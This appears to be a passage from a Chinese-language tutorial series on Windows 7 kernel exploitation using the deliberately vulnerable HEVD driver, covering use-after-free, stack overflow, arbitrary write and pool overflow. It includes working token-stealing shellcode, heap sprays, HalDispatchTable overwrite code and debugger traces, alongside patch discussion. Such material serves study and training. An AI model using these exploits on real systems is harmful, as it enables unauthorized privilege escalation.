PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

接下来我们进行堆喷射

1
2
3
4
5
for (int i = 0; i < 5000; i++)
{
// 调用 AllocateFakeObject() 对象
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}

你可能会疑惑上面的IO控制码是如何得到的,这是通过逆向分析IrpDeviceIoCtlHandler函数得到的,我们通过DeviceIoControl函数实现对驱动中函数的调用,下面原理相同

1
2
3
4
// 调用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);

最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功

1
2
3
4
5
6
7
8
9
10
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

上面是主要的代码,详细的代码参考这里,最后提权成功

0x03:补丁思考

对于 UseAfterFree 漏洞的修复,如果你看过我写的一篇pwn-UAF入门的话,补丁的修复就很明显了,我们漏洞利用是在 free 掉了对象之后再次对它的引用,如果我们增加一个条件,判断对象是否为空,如果为空则不调用,那么就可以避免 UseAfterFree 的发生,而在FreeUaFObject()函数中指明了安全的措施,我们只需要把g_UseAfterFreeObject置为NULL

1
2
3
4
5
6
7
8
9
10
11
12
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

下面是在UseUaFObject()函数中的修复方案:

1
2
3
4
5
6
if(g_UseAfterFreeObject != NULL)
{
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}

0x04:Stack-Overflow

这是 Windows kernel exploit 系列的第二部分,前一篇我们讲了UAF的利用,这一篇我们通过内核空间的栈溢出来继续深入学习 Windows Kernel exploit ,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

栈溢出原理

栈溢出是系列漏洞中最为基础的漏洞,如果你是一个 pwn 选手,第一个学的就是简单的栈溢出,栈溢出的原理比较简单,我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控,导致缓冲区作为参数传入其他函数的时候可能覆盖到了不该覆盖的位置,比如 ebp,返回地址等,如果我们精心构造好返回地址的话,程序就会按照我们指定的流程继续运行下去,原理很简单,但是实际用起来并不是那么容易的,在Windows的不断更新过程中,也增加了许多对于栈溢出的安全保护机制。

漏洞点分析

我们在IDA中打开源码文件StackOverflow.c源码文件这里下载查看一下主函数TriggerStackOverflow,这里直接将 Size 传入memcpy函数中,未对它进行限制,就可能出现栈溢出的情况,另外,我们可以发现 KernelBuffer 的 Size 是 0x800

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

KernelBuffer[0] = 0;
memset(&KernelBuffer[1], 0, 0x7FCu);
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}

我们现在差的就是偏移了,偏移的计算是在windbg中调试得到的,我们需要下两处断点来找偏移,第一处是在TriggerStackOverflow函数开始的地方,第二处是在函数中的memcpy函数处下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kd> bl  //查看所有断点
0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
kd> g //运行
Breakpoint 1 hit //断在了第一处
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> r //查看寄存器
eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> dd esp //查看堆栈情况
91a03ad4 8c6d1718 0032f018 00000907 91a03afc
91a03ae4 8c6d2185 886ad948 886ad9b8 86736268
91a03af4 88815378 00000000 91a03b14 83e84593
91a03b04 88815378 886ad948 886ad948 88815378
91a03b14 91a03b34 8407899f 86736268 886ad948
91a03b24 886ad9b8 00000094 04a03bac 91a03b44
91a03b34 91a03bd0 8407bb71 88815378 86736268
91a03b44 00000000 91a03b01 44c7b400 00000002

上面的第一处断点可以看到返回地址是0x91a03ad4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> g
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)
kd> dd esp
91a03274 91a032b4 0032f018 00000907 8c6d25be
91a03284 8c6d231a 00000800 8c6d2338 91a032b4
91a03294 8c6d23a2 00000907 8c6d23be 0032f018
91a032a4 1dcd205c 886ad948 886ad9b8 8c6d2da2
91a032b4 00000000 00000000 00000000 00000000
91a032c4 00000000 00000000 00000000 00000000
91a032d4 00000000 00000000 00000000 00000000
91a032e4 00000000 00000000 00000000 00000000
kd> r
eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000
eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)

上面的第二处断点可以看到0x91a032b4是我们memcpy的第一个参数,也就是KernelBuffer,我们需要覆盖到返回地址也就是偏移为 0x820

1
2
>>> hex(0x91a03ad4-0x91a032b4)
'0x820'

0x02:漏洞利用

利用思路

知道了偏移,我们只需要将返回地址覆盖为我们的shellcode的位置即可提权,提权的原理我在第一篇就有讲过,需要的可以参考我的第一篇,只是这里提权的代码需要考虑到栈的平衡问题,在TriggerStackOverflow函数开始的地方,我们下断点观察发现,ebp的值位置在91a3bae0,也就是值为91a3bafc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> r
eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8
eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> dd esp
91a3bad4 8c6d1718 001ef230 00000824 (91a3bafc) => ebp
91a3bae4 8c6d2185 885c54b8 885c5528 88573cc0
91a3baf4 88815378 00000000 91a3bb14 83e84593
91a3bb04 88815378 885c54b8 885c54b8 88815378
91a3bb14 91a3bb34 8407899f 88573cc0 885c54b8
91a3bb24 885c5528 00000094 04a3bbac 91a3bb44
91a3bb34 91a3bbd0 8407bb71 88815378 88573cc0
91a3bb44 00000000 83ede201 00023300 00000002

当我们进入shellcode的时候,我们的ebp被覆盖为了0x41414141,为了使堆栈平衡,我们需要将ebp重新赋值为97a8fafc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> 
Break instruction exception - code 80000003 (first chance)
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> r
eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0
eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> dd esp
97a8fad4 885b52f0 885b5360 8c6d2da2 97a8fafc
97a8fae4 8c6d2185 885b52f0 885b5360 88573cc0
97a8faf4 88815378 00000000 97a8fb14 83e84593
97a8fb04 88815378 885b52f0 885b52f0 88815378
97a8fb14 97a8fb34 8407899f 88573cc0 885b52f0
97a8fb24 885b5360 00000094 04a8fbac 97a8fb44
97a8fb34 97a8fbd0 8407bb71 88815378 88573cc0
97a8fb44 00000000 83ede201 00023300 00000002

利用代码

利用思路中,我们介绍了为什么要堆栈平衡,下面是具体的shellcode部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
VOID ShellCode()
{
//__debugbreak(); // 运行到这里程序会自动断下来等待windbg的调试
__asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4

find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid

mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
pop ebp
ret 8
}
}

构造并调用shellcode部分

1
2
3
4
char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824,NULL,0,&bReturn,NULL);

具体的代码参考这里,最后提权成功

0x03:补丁思考

我们先查看源文件 StackOverflow.c 中补丁的措施,区别很明显,不安全版本的RtlCopyMemory函数中的第三个参数没有进行控制,直接将用户提供的 Size 传到了函数中,安全的补丁就是对RtlCopyMemory的参数进行严格的设置

1
2
3
4
5
6
7
8
9
10
11
12
13
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

0x05:Write-What-Where

这是 Windows kernel exploit 系列的第三部分,前一篇我们讲了内核栈溢出的利用,这一篇我们介绍任意内存覆盖漏洞,也就是 Write-What-Where 漏洞,和前面一样,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

任意内存覆盖漏洞

从 IDA 中我们直接分析HEVD.sys中的TriggerArbitraryOverwrite函数,乍一看没啥毛病,仔细分析发现v1,v2这俩指针都没有验证地址是否有效就直接拿来用了,这是内核态,给点面子好吧,胡乱引用可以要蓝屏的(严肃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *v1; // edi
unsigned int *v2; // ebx

ProbeForRead(UserWriteWhatWhere, 8u, 4u);
v1 = UserWriteWhatWhere->What;
v2 = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*v2 = *v1;
return 0;
}

我们从ArbitraryOverwrite.c源码文件入手,直接定位关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");

// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);

如果你不清楚ProbeForRead函数的话,这里可以得到很官方的解释(永远记住官方文档是最好的),就是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,相当于检查一块内存是否正确。

1
2
3
4
5
void ProbeForRead(
const volatile VOID *Address,
SIZE_T Length,
ULONG Alignment
);

和我们设想的一样,从刚才上面的对比处可以很清楚的看出,在安全的条件下,我们在使用两个指针的时候对指针所指向的地址进行了验证,如果不对地址进行验证,在内核空间中访问到了不该访问的内存那很可能就会蓝屏,通过这一点我们就可以利用,既然是访问内存,那我们让其访问我们shellcode的位置即可达到提权的效果,那么怎么才能访问到我们的shellcode呢?

0x02:漏洞利用

利用原理

控制码

知道了漏洞的原理之后我们开始构造exploit,前面我们通过分析IrpDeviceIoCtlHandler函数可以逆向出每个函数对应的控制码,然而这个过程我们可以通过分析HackSysExtremeVulnerableDriver.h自己计算出控制码,源码中的定义如下

1
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

下面解释一下如何计算控制码,CTL_CODE这个宏负责创建一个独特的系统I/O(输入输出)控制代码(IOCTL),计算公式如下

1
2
3
#define xxx_xxx_xxx CTL_CODE(DeviceType, Function, Method, Access)

( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))

通过python我们就可以计算出控制码(注意对应好位置)

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
'0x22200b'

因为WRITE_WHAT_WHERE结构如下,一共有8个字节,前四个是 what ,后四个是 where ,所以我们申请一个buf大小为8个字节传入即可用到 what 和 where 指针

1
2
3
4
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

下面我们来测试一下我们的猜测是否正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<Windows.h>

int main()
{
char buf[8];
DWORD recvBuf;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get HANDLE!!!\n");
return 0;
}

memset(buf, 'A', 8);
DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);

return 0;
}

在 windbg 中如果不能显示出 dbgprint 中内容的话输入下面的这条命令即可显示

1
ed nt!Kd_DEFAULT_Mask 8

我们运行刚才生成的程序,如我们所愿,这里已经成功调用了ArbitraryOverwriteIoctlHandler函数并且修改了 What 和 Where 指针

1
2
3
4
5
6
7
8
9
10
kd> ed nt!Kd_DEFAULT_Mask 8
kd> g
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0019FC90
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x41414141
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******

当然我们不能只修改成0x41414141,我们所希望的是把what指针覆盖为shellcode的地址,where指针修改为能指向shellcode地址的指针

Where & What 指针

这里的where指针我们希望能够覆盖到一个安全可靠的地址,我们在windbg中反编译一下NtQueryIntervalProfile+0x62这个位置

1
2
3
4
5
6
7
8
9
10
kd> u nt!NtQueryIntervalProfile+0x62
nt!NtQueryIntervalProfile+0x62:
84159ecd 7507 jne nt!NtQueryIntervalProfile+0x6b (84159ed6)
84159ecf a1ac7bf783 mov eax,dword ptr [nt!KiProfileInterval (83f77bac)]
84159ed4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (84159edb)
84159ed6 e83ae5fbff call nt!KeQueryIntervalProfile (84118415)
84159edb 84db test bl,bl
84159edd 741b je nt!NtQueryIntervalProfile+0x8f (84159efa)
84159edf c745fc01000000 mov dword ptr [ebp-4],1
84159ee6 8906 mov dword ptr [esi],eax

上面可以发现,0x84159ed6这里会调用到一个函数KeQueryIntervalProfile,我们继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
2: kd> u KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
840cc415 8bff mov edi,edi
840cc417 55 push ebp
840cc418 8bec mov ebp,esp
840cc41a 83ec10 sub esp,10h
840cc41d 83f801 cmp eax,1
840cc420 7507 jne nt!KeQueryIntervalProfile+0x14 (840cc429)
840cc422 a1c86af683 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83f66ac8)]
840cc427 c9 leave
2: kd> u
nt!KeQueryIntervalProfile+0x13:
840cc428 c3 ret
840cc429 8945f0 mov dword ptr [ebp-10h],eax
840cc42c 8d45fc lea eax,[ebp-4]
840cc42f 50 push eax
840cc430 8d45f0 lea eax,[ebp-10h]
840cc433 50 push eax
840cc434 6a0c push 0Ch
840cc436 6a01 push 1
2: kd>
nt!KeQueryIntervalProfile+0x23:
840cc438 ff15fcc3f283 call dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]
840cc43e 85c0 test eax,eax
840cc440 7c0b jl nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc442 807df400 cmp byte ptr [ebp-0Ch],0
840cc446 7405 je nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc448 8b45f8 mov eax,dword ptr [ebp-8]
840cc44b c9 leave
840cc44c c3 ret

上面的0x840cc438处会有一个指针数组,这里就是我们shellcode需要覆盖的地方,为什么是这个地方呢?这是前人发现的,这个函数在内核中调用的很少,可以安全可靠地覆盖,而不会导致计算机崩溃,对于初学者而言就把这个地方当公式用吧,下面简单看一下HalDispatchTable这个内核服务函数指针表,结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HAL_DISPATCH HalDispatchTable = {
HAL_DISPATCH_VERSION,
xHalQuerySystemInformation,
xHalSetSystemInformation,
xHalQueryBusSlots,
xHalDeviceControl,
xHalExamineMBR,
xHalIoAssignDriveLetters,
xHalIoReadPartitionTable,
xHalIoSetPartitionInformation,
xHalIoWritePartitionTable,
xHalHandlerForBus, // HalReferenceHandlerByBus
xHalReferenceHandler, // HalReferenceBusHandler
xHalReferenceHandler // HalDereferenceBusHandler
};

我们需要很清楚的知道,我们刚才在找什么,我们就是在找where指针的位置,所以我们只需要把where的位置放在HalDispatchTable+0x4处就行了,而what指针我们希望的是存放shellcode的位置

  • what -> &shellcode
  • where -> HalDispatchTable+0x4

利用代码

上面我们解释了where和what指针的原理,现在我们需要用代码来实现上面的过程,我们主要聚焦点在where指针上,我们需要找到HalDispatchTable+0x4的位置,我们大致分一下流程:

  1. 找到 ntkrnlpa.exe 在 kernel mode 中的基地址
  2. 找到 ntkrnlpa.exe 在 user mode 中的基地址
  3. 找到 HalDispatchTable 在 user mode 中的地址
  4. 计算 HalDispatchTable+0x4 的地址

ntkrnlpa.exe 在 kernel mode 中的基地址

我们用EnumDeviceDrivers函数检索系统中每个设备驱动程序的加载地址,然后用GetDeviceDriverBaseNameA函数检索指定设备驱动程序的基本名称,以此确定 ntkrnlpa.exe 在内核模式中的基地址,当然我们需要包含文件头Psapi.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

if (!strcmp(lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}

ntkrnlpa.exe 在 user mode 中的基地址

我们用函数LoadLibrary将指定的模块加载到调用进程的地址空间中,获取它在用户模式下的基地址

1
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");

HalDispatchTable 在 user mode 中的地址

我们用GetProcAddress函数返回ntkrnlpa.exe中的导出函数HalDispatchTable的地址

1
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

计算 HalDispatchTable+0x4 的地址

如果你是一个pwn选手的话,你可以把这里的计算过程类比计算函数中的偏移,实际地址 = 基地址 + 偏移,最终我们确定下了HalDispatchTable+0x4的地址

1
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

我们计算出了where指针的位置,what指针放好shellcode的位置之后,我们再次调用NtQueryIntervalProfile内核函数就可以实现提权,但是这里的NtQueryIntervalProfile函数需要我们自己去定义(函数的详情建议下一个Windows NT4的源码查看),函数原型如下:

1
2
3
4
5
NTSTATUS
NtQueryIntervalProfile (
IN KPROFILE_SOURCE ProfileSource,
OUT PULONG Interval
)

最后你可能还要注意一下堆栈的平衡问题,shellcode中需要平衡一下堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static VOID ShellCode()
{
_asm
{
//int 3
pop edi// the stack balancing
pop esi
pop ebx
pushad
mov eax, fs: [124h]// Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4// edx = system PID(4)

// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8]// Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid

// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}

详细的代码参考这里,最后提权成功

test

0x06:Pool-OverFlow

这是 Windows kernel exploit 系列的第四部分,前一篇我们讲了任意内存覆盖漏洞,这一篇我们讲内核池溢出漏洞,这一篇篇幅虽然可能不会很多,但是需要很多的前置知识,也就是说,我们需要对Windows内存分配机制有一个深入的理解,我的建议是先看《0day安全:软件漏洞分析技术第二版》中的第五章堆溢出利用,里面很详细的讲解了堆的一些机制,但是主要讨论的是 Windows 2000~Windows XP SP1 平台的堆管理策略,看完了之后,类比堆溢出利用你可以看 Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7 ,因为我们的实验平台是 Windows 7 的内核池,所以我们需要对内核池深入的理解,总之这个过程是漫长的,并不是一两天就能搞定的,话不多说,进入正题,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

池溢出原理

我们暂时先不看源码,先用IDA分析HEVD.sys,我们找到TriggerPoolOverflow函数,先静态分析一下函数在干什么,可以看到,函数首先用ExAllocatePoolWithTag函数分配了一块非分页内存池,然后将一些信息打印出来,又验证缓冲区是否驻留在用户模式下,然后用memcpy函数将UserBuffer拷贝到KernelBuffer,这和内核栈溢出有点似曾相识的感觉,同样的拷贝,同样的没有控制Size的大小,只是一个是栈溢出一个是池溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __stdcall TriggerPoolOverflow(void *UserBuffer, unsigned int Size)
{
int result; // eax
PVOID KernelBuffer; // [esp+1Ch] [ebp-1Ch]

DbgPrint("[+] Allocating Pool chunk\n");
KernelBuffer = ExAllocatePoolWithTag(0, 0x1F8u, 0x6B636148u);
if ( KernelBuffer )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "NonPagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 0x1F8);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
ProbeForRead(UserBuffer, 0x1F8u, 1u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x1F8);
DbgPrint("[+] Triggering Pool Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
ExFreePoolWithTag(KernelBuffer, 0x6B636148u);
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
result = 0xC0000017;
}
return result;
}

漏洞的原理很简单,就是没有控制好传入Size的大小,为了更清楚的了解漏洞原理,我们分析一下源码文件BufferOverflowNonPagedPool.c,定位到关键点的位置,也就是说,安全的操作始终对分配的内存有严格的控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#ifdef SECURE
//
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
//

RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Buffer Overflow in NonPagedPool\n");

//
// Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
//

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

0x02:漏洞利用

控制码

漏洞的原理我们已经清楚了,但是关键点还是在利用上,内核池这个东西利用起来就不像栈一样那么简单了,我们还是一步一步的构造我们的exploit吧,首先根据上一篇的经验我们知道如何计算控制码从而调用TriggerPoolOverflow函数,首先找到HackSysExtremeVulnerableDriver.h中定义IOCTL的地方,找到我们对应的函数

1
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)
'0x22200f'

我们验证一下我们的代码,我们先给buf一个比较小的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

int main()
{
DWORD bReturn = 0;
char buf[8];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

RtlFillMemory(buf, 8, 0x41);
DeviceIoControl(hDevice, 0x22200f, buf, 8, NULL, 0, &bReturn, NULL);

return 0;
}

运行一下如我们所愿调用了TriggerPoolOverflow函数,另外我们可以发现 Pool Size 有 0x1F8(504) 的大小(如果你细心的话其实在IDA中也能看到,另外你可以尝试着多传入几个字节的大小破坏下一块池头的内容,看看是否会蓝屏)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0: kd> g
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
